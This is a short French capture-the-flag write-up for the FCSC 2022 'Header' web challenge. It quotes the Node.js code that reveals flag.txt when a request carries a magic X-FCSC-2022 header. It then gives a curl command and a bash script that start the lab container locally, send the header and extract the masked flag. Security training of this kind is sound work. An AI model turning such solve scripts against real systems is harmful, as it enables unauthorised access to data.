Solution de U03 pour Header

intro web NodeJS

25 janvier 2025

Nous cliquons sur l’onglet Source , nous voyonc ce qui d’apparente au programme tournant le serveur et ayant servi la page web affichée.

La partie de code suivante nous semble interessante, si une requête HTTP GET est émise pour la ressource / avec avec un entête HTTP X-FCSC-2022 ayant comme valeur Can I get a flag, please? alors le contenu du fichier flag.txt est envoyé à celui qui a émis la requête.

app.get('/', async (req, res) => {
    var verif = req.header("X-FCSC-2022");
    if (verif == "Can I get a flag, please?") {
        var flag = fs.readFileSync("flag.txt");
        res.status(200);
        res.render("pages/index", {
            type: "success",
            msg: "Here it is: " + flag,
        });

Nous pouvons utiliser la commande curl comme ceci:

curl \
--silent \
--request GET \
--header "X-FCSC-2022: Can I get a flag, please?" \
http://localhost:8000/

Le script suivant automatise les opérations:

#!/bin/bash

set -e

if [ ! -f docker-compose.yml ]; then
    wget https://hackropole.fr/challenges/fcsc2022-web-header/docker-compose.public.yml -O docker-compose.yml
fi

docker-compose up -d

while ! nc -z localhost 8000; do sleep 1; done
sleep 3

curl \
--silent \
--request GET \
--header "X-FCSC-2022: Can I get a flag, please?" \
http://localhost:8000/ | grep -oEi '(FCSC{.*})'

docker-compose down

Le résultat est le suivant:

Creating network "026_header_default" with the default driver
Creating 026_header_header_1 ... done
FCSC{xxxxxxxx}
Stopping 026_header_header_1 ... done
Removing 026_header_header_1 ... done
Removing network 026_header_default